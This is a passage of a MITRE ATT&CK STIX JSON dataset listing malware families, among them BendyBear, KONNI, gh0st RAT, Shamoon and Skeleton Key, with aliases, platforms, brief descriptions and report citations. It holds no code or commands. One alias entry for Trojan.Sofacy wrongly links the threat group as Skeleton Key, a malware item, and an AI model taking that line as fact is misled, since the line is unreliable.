2022)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["TYPEFRAME"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0263","external_id":"S0263"},{"source_name":"TYPEFRAME","description":"(Citation: US-CERT TYPEFRAME June 2018)"},{"url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A","description":"US-CERT. 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(Citation: CrowdStrike Putter Panda)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BendyBear"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","type":"malware","created":"2021-02-16T16:50:29.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0574","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0574"},{"source_name":"BendyBear","description":"(Citation: Unit42 BendyBear Feb 2021)"},{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-21T15:02:21.066Z","name":"BendyBear","description":"[BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","type":"malware","created":"2017-05-31T21:32:19.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0022","external_id":"S0022"},{"source_name":"Uroburos","description":"(Citation: Kaspersky Turla)"},{"source_name":"Kaspersky Turla","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","url":"https://securelist.com/the-epic-turla-operation/65545/"}],"modified":"2018-10-17T00:14:20.652Z","name":"Uroburos","description":"[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jose Luis Sánchez Martinez","Chen Erlich, @chen_erlich, enSilo"],"x_mitre_aliases":["Metamorfo","Casbaneiro"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","type":"malware","created":"2020-05-26T17:34:19.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0455","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0455"},{"source_name":"Metamorfo","description":"(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) "},{"source_name":"Casbaneiro","description":"(Citation: ESET Casbaneiro Oct 2019)"},{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T19:32:33.491Z","name":"Metamorfo","description":"[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Trojan.Karagany","xFrost","Karagany"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","created":"2017-05-31T21:33:00.176Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"S0094","url":"https://attack.mitre.org/software/S0094"},{"source_name":"xFrost","description":"(Citation: Secureworks Karagany July 2019)"},{"source_name":"Karagany","description":"(Citation: Secureworks Karagany July 2019)"},{"source_name":"Dragos DYMALLOY ","url":"https://www.dragos.com/threat/dymalloy/","description":"Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020."},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."},{"source_name":"Symantec Dragonfly","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )","modified":"2022-04-19T14:57:44.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Trojan.Karagany","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Bandook"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0234","external_id":"S0234"},{"url":"https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf","description":"Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.","source_name":"EFF Manul Aug 2016"},{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"},{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:42:14.066Z","name":"Bandook","description":"[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as \"Operation Manul\".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Mathieu Tartare, ESET","Martin Smolár, ESET"],"x_mitre_aliases":["PipeMon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8393dac0-0583-456a-9372-fd81691bca20","type":"malware","created":"2020-08-24T13:15:51.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0501","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0501"},{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-10-16T21:01:16.880Z","name":"PipeMon","description":"[PipeMon](https://attack.mitre.org/software/S0501) is a multi-stage modular backdoor used by [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: ESET PipeMon May 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SYNful Knock"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053","type":"malware","created":"2020-10-19T16:38:11.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0519","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0519"},{"source_name":"Mandiant - Synful Knock","url":"https://www.mandiant.com/resources/synful-knock-acis","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}],"modified":"2021-12-14T23:14:26.027Z","name":"SYNful Knock","description":"[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--85b39628-204a-48d2-b377-ec368cbcb7ca","type":"malware","created":"2017-05-31T21:33:15.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0131","external_id":"S0131"},{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2018-10-17T00:14:20.652Z","name":"TINYTYPHON","description":"[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor  that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Doron Karmi, @DoronKarmi"],"x_mitre_aliases":["KONNI"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","created":"2019-01-31T00:36:39.771Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0356","url":"https://attack.mitre.org/software/S0356"},{"source_name":"KONNI","description":"(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021)"},{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."},{"source_name":"Unit 42 NOKKI Sept 2018","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018."},{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Talos Konni May 2017","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)","modified":"2022-04-13T17:26:25.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"KONNI","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["T9000"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","type":"malware","created":"2017-05-31T21:33:01.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0098","external_id":"S0098"},{"source_name":"FireEye admin@338 March 2014","description":"Moran, N. and Lanstein, A.. (2014, March 25). Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370. Retrieved April 15, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html"},{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-31T12:40:49.213Z","name":"T9000","description":"[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Winnti for Linux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","type":"malware","created":"2020-04-29T15:06:59.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0430","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0430"},{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}],"modified":"2020-07-01T18:34:02.367Z","name":"Winnti for Linux","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://attack.mitre.org/groups/G0044). The Windows variant is tracked separately under [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Chronicle Winnti for Linux May 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["gh0st RAT","Mydoor","Moudoor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","created":"2017-05-31T21:32:24.937Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"S0032","url":"https://attack.mitre.org/software/S0032"},{"source_name":"gh0st RAT","description":"(Citation: FireEye Hacking Team)(Citation: Nccgroup Gh0st April 2018)"},{"source_name":"Mydoor","description":"(Citation: Novetta-Axiom)"},{"source_name":"Moudoor","description":"(Citation: Novetta-Axiom)"},{"source_name":"FireEye Hacking Team","url":"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html","description":"FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016."},{"source_name":"Novetta-Axiom","url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014."},{"source_name":"Nccgroup Gh0st April 2018","url":"https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/","description":"Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018."},{"source_name":"Arbor Musical Chairs Feb 2018","url":"https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/","description":"Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)","modified":"2022-04-15T21:09:32.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"gh0st RAT","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Shamoon","Disttrack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","type":"malware","created":"2017-05-31T21:33:20.223Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0140","external_id":"S0140"},{"source_name":"Disttrack","description":"(Citation: Palo Alto Shamoon Nov 2016)"},{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"},{"description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.","url":"https://www.symantec.com/connect/blogs/shamoon-attacks","source_name":"Symantec Shamoon 2012"},{"url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","source_name":"FireEye Shamoon Nov 2016"}],"modified":"2021-02-09T13:42:15.121Z","name":"Shamoon","description":"[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Skeleton Key"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49","type":"malware","created":"2017-05-31T21:32:13.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0007","external_id":"S0007"},{"source_name":"Dell Skeleton","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","url":"https://www.secureworks.com/research/skeleton-key-malware-analysis"}],"modified":"2020-03-18T16:17:41.437Z","name":"Skeleton Key","description":"[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["MoleNet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","type":"malware","created":"2020-12-28T22:09:15.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0553","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0553"},{"source_name":"MoleNet","description":"(Citation: Cybereason Molerats Dec 2020)"},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2021-04-27T02:20:58.446Z","name":"MoleNet","description":"[MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CORALDECK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0212","external_id":"S0212"},{"source_name":"CORALDECK","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-30T15:13:24.829Z","name":"CORALDECK","description":"[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["JHUHUGIT","Trojan.Sofacy","Seduploader","JKEYSKW","Sednit","GAMEFISH","SofacyCarberp"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","type":"malware","created":"2017-05-31T21:32:34.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0044","external_id":"S0044"},{"source_name":"JHUHUGIT","description":"(Citation: FireEye APT28 January 2017)"},{"source_name":"Trojan.Sofacy","description":"This designation has been used in reporting both to refer to the threat group ([Skeleton Key](https://attack.mitre.org/software/S0007)) and its associated malware.(Citation: Symantec APT28 Oct 2018)"},{"source_name":"Seduploader","description":"(Citation: FireEye APT28 January 2017)(Citation: Talos Seduploader Oct 2017)"},{"source_name":"JKEYSKW","description":"(Citation: FireEye APT28 January 2017)"},{"source_name":"Sednit","description":"This designation has been used in reporting both to refer to the threat group ([APT28](https://attack.mitre.org/groups/G0007)) and its associated malware.(Citation: FireEye APT28 January 2017)"},{"source_name":"GAMEFISH","description":"(Citation: FireEye APT28 January 2017)"},{"source_name":"SofacyCarberp","description":"(Citation: Unit 42 Sofacy Feb 